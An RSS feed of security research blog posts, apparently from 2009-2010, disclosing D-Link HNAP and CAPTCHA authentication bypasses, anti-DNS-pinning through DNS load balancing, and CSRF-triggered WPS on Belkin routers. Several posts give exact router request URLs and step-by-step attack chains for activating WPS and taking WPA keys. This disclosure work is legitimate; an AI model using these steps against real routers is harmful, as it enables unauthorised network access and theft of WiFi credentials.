<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SourceSec Security Research &#187; Vulnerabilities</title>
	<atom:link href="http://www.sourcesec.com/category/vulnerabilities/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sourcesec.com</link>
	<description>Security research and vulnerability assesment</description>
	<lastBuildDate>Tue, 19 Jan 2010 05:15:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Which Routers Are Vulnerable to the D-Link HNAP Exploit?</title>
		<link>http://www.sourcesec.com/2010/01/18/which-routers-are-vulnerable-to-the-d-link-hnap-exploit/</link>
		<comments>http://www.sourcesec.com/2010/01/18/which-routers-are-vulnerable-to-the-d-link-hnap-exploit/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 22:50:34 +0000</pubDate>
		<dc:creator>craig</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[d-link]]></category>
		<category><![CDATA[HNAP]]></category>
		<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=204</guid>
		<description><![CDATA[ZDNet and PCWorld have both run articles regarding our recent disclosure of the D-Link HNAP vulnerability. As with other postings and reports, there seems to be some confusion as to which routers and models are affected. 
D-Link has made some statements that we&#8217;d like to offer rebuttals to, as we either suspect them to be [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://news.zdnet.co.uk/security/0,1000000189,39994509,00.htm">ZDNet</a> and <a href="http://www.pcworld.com/businesscenter/article/186996/dlink_issues_fixes_for_router_vulnerabilities.html">PCWorld</a> have both run articles regarding our recent <a href="http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/">disclosure</a> of the D-Link HNAP vulnerability. As with other postings and reports, there seems to be some confusion as to which routers and models are affected. </p>
<p>D-Link has made some statements that we&#8217;d like to offer rebuttals to, as we either suspect them to be incorrect or find them to be downright confusing. The below quotations are from the ZDNet article:</p>
<blockquote><p>The model that D-Link said is not in the European market is DI-524 (C1). In addition, that model does not support HNAP, the company noted.</p></blockquote>
<p>Yes, the DI-524 hardware version C1 does in fact support HNAP. It was one of the first D-Link routers to do so. Install the most recent firmware release (version 3.23). HNAP is clearly there and vulnerable.</p>
<blockquote><p>The non-existent model is DIR-628 (B2), as only A hardware has ever been released for that device.</p></blockquote>
<p>Correct, the DIR-628 hardware version B2 does not exist; that&#8217;s bad on us. The version we tested was actually A2 not B2 as we erroneously reported. I find it odd that D-Link doesn&#8217;t seem to have even tested their A-series DIR-628s though. If they had, they would have found that they were vulnerable.</p>
<blockquote><p>Finally, model DIR-655 (A1, firmware 1.30EA) runs a restricted firmware version related to East Asia and therefore irrelevant for Europe.</p></blockquote>
<p>There seems to be some expectation from D-Link and others that we have tested every firmware version for every D-Link router in existence. That is simply not possible for us to do. We tested three different D-Link routers with four different firmware versions that spanned a period of three years and two continents, and they were all vulnerable. But that is all that we have tested, and therefore all that we can confirm. Just because we didn&#8217;t test European firmware doesn&#8217;t mean that it is or isn&#8217;t vulnerable. It just means that we didn&#8217;t test it.</p>
<blockquote><p>The networking company said on Monday that the problem, discovered by security researchers SourceSec, affects three of its wireless routers: DIR-855 (hardware version A2), DIR-655 (versions A1 to A4) and DIR-635 (version B).</p></blockquote>
<p>Interestingly, D-Link told PCWorld that there were five routers affected: the DIR-855, DIR-655, DIR-635, DIR-615, and the DI-634. </p>
<p>Now, we <em>know</em> that the DI-524 and DIR-628 are vulnerable. We have also had reports that the DIR-300 is vulnerable (though we can&#8217;t confirm this). Yet D-Link does not mention any of them in their list of vulnerable routers. So are there three router models affected? Or five? Or more? Has D-Link performed comprehensive testing on their routers? Or are these just the ones that they&#8217;ve tested so far? I can assure you that the DIR-628 and DI-524 need to be added to this list; which others are missing?</p>
<blockquote><p>In addition, just running the exploit code was not enough to compromise D-Link routers, it said. &#8220;It is important to note that running the code on its own is not sufficient to hack into the router: only the software tool provided seems to achieve this result,&#8221; said the D-Link statement.</p></blockquote>
<p>OK, now<em> I&#8217;m</em> confused &#8211; running the code won&#8217;t hack the router, but running the software will? It&#8217;s a bash script: the code <em>is</em> the software (Einhorn is Finkle&#8230;Finkle is Einhorn&#8230;). Any piece of software that can make Web requests can be used to exploit the vulnerability. Web browser? Check. Netcat? Yup. Wget? Sure! Curl? Definitely! I&#8217;m not sure what D-Link is trying to say here.</p>
<p>And finally, there&#8217;s the inevitable passing of the buck:</p>
<blockquote><p>
&#8220;By publicising their tool, and giving specific instructions, the authors of the report have publicly outlined how the security can be breached, which could have had serious repercussions for our customers,&#8221; said the D-Link statement.</p></blockquote>
<p>Yes, of course. It&#8217;s not D-Link&#8217;s fault for selling vulnerable routers to their customers. It&#8217;s obviously our fault for informing their customers of the vulnerability. Shame on us.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2010/01/18/which-routers-are-vulnerable-to-the-d-link-hnap-exploit/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>D-Link Routers: One Hack to Own Them All</title>
		<link>http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/</link>
		<comments>http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 16:49:08 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[d-link]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[HNAP]]></category>
		<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=195</guid>
		<description><![CDATA[We&#8217;ve been on hiatus over the past few months working on other projects, but last week we re-focused on D-Link routers. While we previously found a flaw in D-Link&#8217;s CAPTCHA implementation, this time around we&#8217;ve found a way to view and edit D-Link router settings without any administrative credentials.
The short story is that D-Link routers [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been on hiatus over the past few months working on other projects, but last week we re-focused on D-Link routers. While we previously found a <a href="http://www.sourcesec.com/2009/05/12/d-link-captcha-partially-broken/">flaw</a> in D-Link&#8217;s CAPTCHA implementation, this time around we&#8217;ve found a way to view and edit D-Link router settings without any administrative credentials.</p>
<p>The short story is that D-Link routers have a second administrative interface, which uses the Home Network Administration Protocol. While HNAP does require basic authentication, the mere existence of HNAP on D-Link routers allows attackers and malware to bypass CAPTCHA &#8220;security&#8221;. Further, HNAP authentication is not properly implemented, allowing anyone to view and edit administrative settings on the router.</p>
<p>HNAP appears to have been implemented in D-Link routers since 2006, and cannot be disabled. We have verified that vulnerabilities exist in the HNAP implementations of the DI-524, DIR-628 and DIR-655 routers, and suspect that most, if not all, D-Link routers since 2006 are vulnerable.</p>
<p>You can read our full write-up <a href="http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf">here</a>, and download our POC tool, HNAP0wn, <a href="http://www.sourcesec.com/Lab/hnap0wn.tar.gz">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/feed/</wfw:commentRss>
		<slash:comments>68</slash:comments>
		</item>
		<item>
		<title>D-Link Captcha Redux</title>
		<link>http://www.sourcesec.com/2009/05/20/d-link-captcha-revisited/</link>
		<comments>http://www.sourcesec.com/2009/05/20/d-link-captcha-revisited/#comments</comments>
		<pubDate>Thu, 21 May 2009 04:39:01 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=177</guid>
		<description><![CDATA[A few sites have picked up on our D-Link captcha bypass post, and we&#8217;re seeing a lot of people who mis-understand the vulnerability, and the purpose of captchas in general. I&#8217;d like to address some of the comments that we&#8217;ve seen, and to clarify a few points:
[the captcha is] not really broken.  It’s circumvented, [...]]]></description>
			<content:encoded><![CDATA[<p>A few sites have picked up on our D-Link captcha bypass post, and we&#8217;re seeing a lot of people who mis-understand the vulnerability, and the purpose of captchas in general. I&#8217;d like to address some of the comments that we&#8217;ve seen, and to clarify a few points:</p>
<blockquote><p>[the captcha is] not really broken.  It’s circumvented, but not broken.</p></blockquote>
<p>Agreed; we&#8217;re still looking into some OCR engines that might be used to break the captcha completely. Perhaps a more fitting title would have been &#8220;D-Link Captcha <em>Implementation</em> Partially Broken&#8221;.</p>
<blockquote><p>It turns out all that&#8217;s required to access the router&#8217;s setup page is the hash, so the feature provides an easy way for anyone within range to access the panel that controls all kinds of sensitive settings and contains the WPA password.</p></blockquote>
<p>No, you cannot access the full router control panel with this vulnerability. Only a few pages (basically any XML page) honour authentication without captcha, one of which is the WPS activation page. Once WPS is activated, anyone within WiFi range can access the network, and <em>then</em> they can access the router control panel.</p>
<blockquote><p>If you use a dictionary or simple alphanumerc passphrase then it can&#8217;t be brute forced unless they pass the CAPTCHA too.<br />
Yes, it&#8217;s very annoying on web pages. But on a router page you might use once a month? It&#8217;s not such a bad idea.</p></blockquote>
<p>Actually, if you look at the <a href="http://blog.washingtonpost.com/securityfix/2008/06/malware_silently_alters_wirele_1.html">threat</a> that the captcha is <a href="http://www.dlink.com/press/pr/?prid=500">supposed</a> to prevent, it is a terrible idea. A captcha does not provide security, it only attempts to prove that whoever performed a given HTTP request was a person. Yes, captchas may block automated attacks (assuming that the bot cannot break the captcha, which they have been <a href="http://blogs.zdnet.com/security/?p=1418">known to do</a>), but remember that the threat consists of a trojan running on the client&#8217;s PC that is used to attack the router. What&#8217;s stopping the malware from sending the image back to the attacker who can then read it and tell the trojan what it says? Yes, as shocking as it may seem, <a href="http://www.hackersarepeopletoo.com/">hackers are people too</a>.</p>
<p><span id="more-177"></span></p>
<blockquote><p>For this to work the attacker has to 1. be in your wifi range and 2. be wired into a pc on your lan i.e have a physical connection&#8230;Truth is, if you use the full length hexadecimal wpa2 key it will take a long, long time for anyone to crack your wifi.</p></blockquote>
<p>To address first point, yes, the attacker does have to be within WiFi range; thankfully, it cannot be used to perform an entirely remote attack. I think it is important to keep in mind however, that besides the proximity requirement, a WiFi compromise is as dangerous (if not more so) than an attacker changing your router settings. Think about it; if he does get some malware on your PC, he only has access to one machine on the network, may not have sufficient permissions to do what he wants, and at the very least will have to upload a bunch of tools to your PC in order to propagate through the rest of your network. With your WPA key in hand, he can put as many of his own machines on your network as he wants.</p>
<p>As for the second point, please refer to my earlier point regarding the threat that the captchas are supposed to prevent. The attacker does not need a physical connection to your network; he just needs <em>you</em> to have one. The &#8220;truth is&#8221; that this can also be exploited via pure JavaScript (i.e., no trojans on your PC). Why would an attacker take the time to crack a 63-character WPA2 key when he can get you to click on a link and hand it to him?</p>
<blockquote><p>Compromised web page is not wifi related, hence this is separate.</p></blockquote>
<p>Technically, this is correct; there is no WiFi vulnerability per-se. However, the Web page vulnerability allows an attacker to bypass any WiFi security that you have in place, so I wouldn&#8217;t say that they are completely un-related.</p>
<blockquote><p>most routers by default dont allow you to access the config from the WAN port, only if you are on the LAN</p></blockquote>
<p>This is not a WAN issue. The attacker is in your browser or on your PC, which is on the LAN, hence, he has access to the router config page on the LAN side.</p>
<blockquote><p>I thought most new routers require you to set them up properly to work and no longer “work out of the box” to prevent default password.</p></blockquote>
<p>I wish! That actually would have been the proper response to such threats, had D-Link really wanted to make their routers more secure. To my knowledge, no consumer-grade router requires any type of configuration before they&#8217;ll work.</p>
<blockquote><p>Honestly, If you have any advanced education you should be using OpenWRT or DDWRT and not the crap firmware in these routers.</p></blockquote>
<p>Be careful what you <a href="http://milw0rm.com/exploits/7389">wish for</a>.</p>
<blockquote><p>I would like to see a proof of concept. I do know that the salt hash is easily attainable in a txt file on the router.. however I forget the local url that retrieves it.</p></blockquote>
<p>The salt is a JavaScript variable located in the router&#8217;s index page (http://192.168.0.1/). We are not releasing any code at this time, however, the attack is easily re-producible:</p>
<ol>
<li>Go to http://192.168.0.1/ and view the page source; locate the salt value (search the source for &#8220;salt&#8221;).</li>
<li>Using the nicely-commented send_login JavaScript function in that same page, generate the MD5 hash for the User account with a blank password (which is the default).</li>
<li>Visit this URL: http://192.168.0.1/post_login.xml?hash=&lt;insert the hash you calculated here&gt;</li>
<li>Visit this URL: http://192.168.0.1/wifisc_add_sta.xml?method=pbutton&amp;wps_ap_ix=0</li>
</ol>
<p>If you have WPA enabled, your WPS light (located on the side of the D-Link) will start flashing. Any WPS-capable WiFi card can now connect directly to your WiFi network. If you aren&#8217;t using WPA, then anyone can connect directly to your WiFi network anyway. If you want to test the pure JavaScript variant of this attack, you&#8217;ll have to perform some <a href="http://www.jumperz.net/">anti-DNS pinning</a> in order to read the salt value from the index page. While Firefox is kinda-sorta immune to anti-DNS pinning (only because it takes two minutes to perform in FF), IE and Opera users are prime targets.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/20/d-link-captcha-revisited/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>D-Link Captcha Partially Broken</title>
		<link>http://www.sourcesec.com/2009/05/12/d-link-captcha-partially-broken/</link>
		<comments>http://www.sourcesec.com/2009/05/12/d-link-captcha-partially-broken/#comments</comments>
		<pubDate>Wed, 13 May 2009 03:00:50 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=159</guid>
		<description><![CDATA[Hack-A-Day reported on D-Link&#8217;s new captcha system designed to protect against malware that alters DNS settings by logging in to the router using default administrative credentials. I downloaded the new firmware onto our DIR-628 to take a look, and quickly found a flaw in the captcha authentication system that allows an attacker to glean your [...]]]></description>
			<content:encoded><![CDATA[<p>Hack-A-Day <a href="http://hackaday.com/2009/05/12/d-link-adds-captcha-to-routers/">reported</a> on D-Link&#8217;s new <a href="http://blogs.zdnet.com/security/?p=3365">captcha system</a> designed to protect against malware that alters DNS settings by logging in to the router using default administrative credentials. I <a href="http://support.dlink.com/downloads/">downloaded</a> the new firmware onto our DIR-628 to take a look, and quickly found a flaw in the captcha authentication system that allows an attacker to glean your WiFi WPA pass phrase from the router with only user-level access, and without properly solving the captcha.</p>
<p><span id="more-159"></span></p>
<p>When you login with the captcha enabled, the request looks like this:</p>
<blockquote><p>GET /post_login.xml?hash=c85d324a36fbb6bc88e43ba8d88b10486c9a286a&amp;auth_code=0C52F&amp;auth_id=268D2</p></blockquote>
<p>The hash is a salted MD5 hash of your password, the auth_code is the captcha value that you entered, and the auth_id is unique to the captcha image that you viewed (this presumably allows the router to check the auth_code against the proper captcha image). The problem is that if you leave off the auth_code and auth_id values, some pages in the D-Link Web interface think that you&#8217;ve properly authenticated, as long as you get the hash right:</p>
<blockquote><p>GET /post_login.xml?hash=c85d324a36fbb6bc88e43ba8d88b10486c9a286a</p></blockquote>
<p>Most notably, once you&#8217;ve made the request to post_login.xml, you can activate WPS with the following request:</p>
<blockquote><p>GET /wifisc_add_sta.xml?method=pbutton&amp;wps_ap_ix=0</p></blockquote>
<p>When WPS is activated, anyone within WiFi range can claim to be a valid WPS client and retrieve the WPA passphrase directly from the router.</p>
<p>Further, one need not log in with Administrative credentials to perform this attack; only User-level access is required to activate WPS. This means that even if you load the new firmware on your router, use a strong WPA pass phrase, and change your Administrative login, an attacker can still activate WPS and gain access to your wireless network by simply having an internal client view a Web page.</p>
<p>The attack works like this:</p>
<ol>
<li>Malware loads the router&#8217;s index page and glean the salt generated by the router.</li>
<li>The malware uses the salt to generate a login hash for the D-Link User account (blank password by default).</li>
<li>The malware sends the hash to the post_login.xml page.</li>
<li>The malware sends a request to the wifisc_add_sta.xml page, activating WPS.</li>
<li>The attacker uses <a href="http://www.sourcesec.com/2009/05/09/wpscan-wpspy-tools/">WPSpy</a> to detect when the victim&#8217;s router is looking for WPS clients, and connects to the WiFi network using a WPS-capable <a href="http://www.belkin.com/au/IWCatProductPage.process?Product_Id=474682">network card</a>.</li>
</ol>
<p>Additionally, this vulnerability could be triggered by a simple JavaScript snippet using <a href="http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html">anti-DNS pinning</a>, which removes the requirement for the attacker to have installed malware onto a machine inside the target network; the victim could be exploited by simply browsing to an infected Web page.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/12/d-link-captcha-partially-broken/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>DNS Load Balancing For Fun And Profit</title>
		<link>http://www.sourcesec.com/2009/05/11/dns-load-balancing-for-fun-and-profit/</link>
		<comments>http://www.sourcesec.com/2009/05/11/dns-load-balancing-for-fun-and-profit/#comments</comments>
		<pubDate>Mon, 11 May 2009 20:58:03 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Techniques]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=150</guid>
		<description><![CDATA[UPDATE: Unfortunately, this method of anti-DNS pinning does not work quite as we had observed in the lab. As it happens, browsers (IE and FF), if given multiple IP addresses in a DNS response, will always try a private IP address first, regardless of the order in which the IP addresses are listed in the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>UPDATE</strong>: Unfortunately, this method of anti-DNS pinning does not work quite as we had observed in the lab. As it happens, browsers (IE and FF), if given multiple IP addresses in a DNS response, will always try a private IP address first, regardless of the order in which the IP addresses are listed in the DNS response. If all of the IP addresses in the response are private IPs, then the browser will try them in order (which is why this technique worked during our lab testing, since all of our lab IPs were non-routable). Unfortunately, this prevents the use of this attack as we had previously described. It can still be used in some circumstances, such as an internal attacker attempting to leverage IP-based ACLs, or it can be used to give an external attacker access to Web services running on the localhost (such as <a href="http://milw0rm.org/exploits/7150">CUPS</a>, or <a href="http://securityreason.com/securityalert/5523">bittorrent clients</a>). We&#8217;re leaving all of our original post below as even these limited scenarios may be useful attack vectors; in the mean time, we&#8217;re going back to the drawing board to examine more traditional anti-DNS pinning attacks.</p>
<p><span id="more-150"></span></p>
<p>Anti-DNS pinning is a technique for kinda-sorta circumventing the same domain policy enforced in Web browsers. While it does have some limitations, it is great for using a client&#8217;s browser to access restricted internal resources (such as a router&#8217;s Web interface). The problem is that whenever I <a href="http://ha.ckers.org/blog/20060815/circumventing-dns-pinning-for-xss/">see</a> <a href="http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/">people</a> <a href="http://www.securityfocus.com/archive/1/443209/30/0/threaded">talk</a> about anti-DNS pinning, they make it more complex than it really should be. They focus on DNS cache time outs and forcing browsers to re-request DNS lookups and so forth. This is really all unnessesary; all an attacker really needs to do in order to thwart DNS pinning is to use DNS load balancing.</p>
<p>What&#8217;s so great about using DNS for load balancing? Any decently sized Web site does it; it&#8217;s pretty much standard procedure. Take a look at the DNS lookup for www.google.com and think about how it works for a second:</p>
<blockquote>
<pre><span style="color: #800000;">; &lt;&lt;&gt;&gt; DiG 9.4.3-P2 &lt;&lt;&gt;&gt; www.google.com
;; global options:  printcmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 57946
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 7, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com.			IN	A

;; ANSWER SECTION:
www.google.com.		262385	IN	CNAME	www.l.google.com.
www.l.google.com.	82	IN	A	64.233.161.147
www.l.google.com.	82	IN	A	64.233.161.99
www.l.google.com.	82	IN	A	64.233.161.104

;; AUTHORITY SECTION:
l.google.com.		3802	IN	NS	f.l.google.com.
l.google.com.		3802	IN	NS	d.l.google.com.
l.google.com.		3802	IN	NS	c.l.google.com.
l.google.com.		3802	IN	NS	e.l.google.com.
l.google.com.		3802	IN	NS	b.l.google.com.
l.google.com.		3802	IN	NS	a.l.google.com.
l.google.com.		3802	IN	NS	g.l.google.com.

;; Query time: 0 msec
;; SERVER: 71.252.219.43#53(71.252.219.43)
;; WHEN: Mon May 11 15:23:53 2009

;; MSG SIZE  rcvd: 212
,</span></pre>
</blockquote>
<p>When your browser navigates to www.google.com, it will first try the 64.233.161.147 IP address; if that doesn&#8217;t work, it will try 64.233.161.99 and finally 64.233.161.104. Now, let&#8217;s say that we own a domain name, myevilsite.org, and we want to attack your internal router, located at 192.168.1.1. When your browser tries to navigate to myevilsite.org, it will perform a DNS lookup, and our DNS server will respond with the following:</p>
<blockquote>
<pre><span style="color: #800000;">;; ANSWER SECTION:
www.myevilsite.org	82	IN	A	12.34.56.78
www.myevilsite.org	82	IN	A	192.168.1.1</span></pre>
</blockquote>
<p>The browser will cache these IP addresses and first attempt to connect to 12.34.56.78, which is the IP address for the myevilsite.org Web server. The browser will load up our Web page that contains some JavaScript that we have crafted to assist us in this attack, and as soon as our Web server has supplied the browser with this page, it will shut down (note that the server itself is still up, just that there is no longer a service listening on port 80).</p>
<p>Our JavaScript then attempts to make a connection back to www.myevilsite.org via an XMLHttpRequest. Since this is within the same domain policy of the browser, the browser allows the request and attempts to connect back to 12.34.56.78; except that now the browser will recieve a TCP RST packet because there is no longer a service running on port 80 at that IP address. Upon seeing this, the browser will then try the next IP address in the list &#8211; which is 192.168.1.1. The browser thinks that it is still connecting to www.myevilsite.org, but it is actually connecting to your internal router. Since the browser sees this as still within the scope of its same-domain policy, our JavaScript that is running in your browser has full access to your router&#8217;s Web page.</p>
<p>Using this method, we can circumvent the DNS caching mechanism employed by the browser almost instantaneously (we don&#8217;t have to wait for anything to time out or reset or whatever). Granted, we still need to log in to the router, or otherwise bypass the login, in order to view or change settings, but we have now completely broken your firewall&#8217;s security, your browser&#8217;s security, and any anti-CSRF security that may have been implemented in your router&#8217;s Web application.</p>
<p>Now, think about the number of people that you know who leave their router&#8217;s login set to the default. Now think about the number of routers with security vulnerabilities that allow us to view / change settings without a valid login. Now think about people who change only the administrative login, but leave user accounts set to their defaults (this is basically anyone who uses a D-Link, since even the D-Link set-up CD ignores the unprivileged User account). That&#8217;s a lot of people who&#8217;s WPA keys we can steal, DNS settings we can configure, VOIP settings we can spy on, etc.</p>
<p>I wish I could say that this was all my idea, but it&#8217;s <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=162871#c19">been around</a> since at least 2002. I can say that it works very well however, and on our internal lab it takes less than a second to carry out the attack and glean all of the router&#8217;s WiFi security settings in either Firefox 3.0 or IE7. We are working on a tool to help streamline this attack, which we will hopefully have out in the coming weeks, so keep a look out for it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/11/dns-load-balancing-for-fun-and-profit/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Cracking WPA With CSRF Attacks</title>
		<link>http://www.sourcesec.com/2009/05/11/cracking-wpa-with-csrf-attacks/</link>
		<comments>http://www.sourcesec.com/2009/05/11/cracking-wpa-with-csrf-attacks/#comments</comments>
		<pubDate>Mon, 11 May 2009 17:02:56 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Techniques]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=136</guid>
		<description><![CDATA[Over the past year, a lot of vulnerabilities have been found in various home routers, and it should be noted that almost all SOHO routers are vulnerable to CSRF attacks. By combining CSRF with authentication bypass vulnerabilities or default logins, an attacker can modify practically any router setting s/he desires. However, the crux of CSRF [...]]]></description>
			<content:encoded><![CDATA[<p>Over the past year, a lot of <a href="http://www.gnucitizen.org/blog/router-hacking-challenge/">vulnerabilities</a> have been found in various home routers, and it should be noted that almost all SOHO routers are vulnerable to CSRF attacks. By combining CSRF with <a href="http://milw0rm.com/exploits/6305">authentication</a> <a href="http://milw0rm.com/exploits/5926">bypass</a> <a href="http://milw0rm.com/exploits/7389">vulnerabilities</a> or default logins, an attacker can modify practically any router setting s/he desires. However, the crux of CSRF is that while it can be used to force the browser to make requests, the attacker&#8217;s code can&#8217;t view the response from these requests thanks to the browser&#8217;s same-domain policy.</p>
<p>We&#8217;ve already talked about our <a href="http://www.sourcesec.com/2009/05/11/building-wpa-hardware-backdoors/">hardware-based attacks</a> against WiFi-Protected Setup, but even without physical access to the router, WPS can still be leveraged by an attacker to gain access to a secured wireless network. Why try to crack a 60-character WPA2 key when you can run a phishing attack and force the router to give you the key instead? It&#8217;s as simple as creating an HTML image tag.</p>
<p><span id="more-136"></span></p>
<p>As we&#8217;ve covered <a href="http://www.sourcesec.com/2009/05/11/building-wpa-hardware-backdoors/">before</a>, WPS is a protocol designed to help with the distribution of WPA keys: all you have to do is push a button. From an attacker&#8217;s perspective however, it would be great if he could push that button remotely. Luckily for him, routers provide not only physical WPS push buttons, but also virtual push buttons in the administrative Web interface. When you click on the button, it just sends a standard HTTP request to the router, which causes the router to activate WPS and begin looking for a client to give the WPA key to. This is a key point, as now an attacker can use a CSRF attack to activate WPS. All the attacker has to do at that point is use a WPS-capable WiFi card to perform the WPS handshake(s) and retrieve the WPA key.</p>
<p>If you take a quick look at Milw0rm, there are a couple of Belkin G routers that are vulnerable to authentication bypass vulnerabilities, that is, you can change router settings without having to log in. Interestingly, our Belkin N router has these exact same vulnerabilities, suggesting that quite probably the entire line of Belkin routers also share this vulnerability (hooray for code re-use!).</p>
<p>To use this attack against our router, we simply crafted the following HTML page:</p>
<div id="attachment_140" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin_code.jpg"><img class="size-medium wp-image-140" title="Belkin HTML Code" src="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin_code-300x98.jpg" alt="HTML page used to &quot;crack&quot; WPA2 via CSRF" width="300" height="98" /></a><p class="wp-caption-text">HTML page used to &quot;crack&quot; WPA2 via CSRF</p></div>
<p>This page has a hidden img tag that points to the WPS activation URL on the Belkin router. Since the Belkin is vulnerable to authentication bypass, anyone who views this page inside of our network will unknowingly activate WPS on the router. The page look innocuous when viewed in a browser:</p>
<div id="attachment_141" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin_csrf_firefox.jpg"><img class="size-medium wp-image-141" title="HTML In Browser" src="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin_csrf_firefox-300x165.jpg" alt="What the page looks like in the browser window" width="300" height="165" /></a><p class="wp-caption-text">What the page looks like in the browser window</p></div>
<p>However, by monitoring the WPS state of the router with <a href="http://www.sourcesec.com/2009/05/09/wpscan-wpspy-tools/">WPSpy</a>, we can clearly see that the router went from simply a configured state, to configured and looking for push-button WPS clients:</p>
<div id="attachment_142" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin_own.jpg"><img class="size-medium wp-image-142" title="Belkin WPS WPSpy" src="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin_own-300x188.jpg" alt="The Belkin router's WPS state changes when the HTML page is viewed by a client on the LAN" width="300" height="188" /></a><p class="wp-caption-text">The Belkin router&#39;s WPS state changes when the HTML page is viewed by a client on the LAN</p></div>
<p>The attacker can now easily claim to be a WPS <a href="http://www.belkin.com/au/IWCatProductPage.process?Product_Id=474682">push button client</a>, at which point the router will happily provide the attacker with the WPA key:</p>
<div id="attachment_143" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin.jpg"><img class="size-medium wp-image-143" title="Belkin WPS Client" src="http://www.sourcesec.com/wp-content/uploads/2009/05/belkin-300x152.jpg" alt="Using a WPS-capable WiFi card to retrieve the WPA key via WPS" width="300" height="152" /></a><p class="wp-caption-text">Using a WPS-capable WiFi card to retrieve the WPA key via WPS</p></div>
<p>It should be noted that Belkin routers aren&#8217;t the only ones affected by this type of attack. Various other routers have authentication-bypass vulnerabilities, and even those that don&#8217;t are still not immune. If no authentication bypass vulnerability exists, an attacker can simply create two images; the first one attempts to log in to the router with the default username / password, while the second one activates WPS.</p>
<p>This attack is difficult to mitigate. Even if you disable WPS, the attacker can add a second image tag that enables WPS first. Disabling JavaScript won&#8217;t even help, because you don&#8217;t need to use JavaScript to perform CSRF attacks. The best recourse is to do your homework and buy a router that (hopefully) doesn&#8217;t have an authentication bypass vulnerability, and change the default login.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/11/cracking-wpa-with-csrf-attacks/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>NetProxy 4.03 Web Filter Evasion</title>
		<link>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/</link>
		<comments>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:36:50 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=12</guid>
		<description><![CDATA[Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy&#8217;s logging feature.
Description
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:
GET http://www.milw0rm.com HTTP/1.0
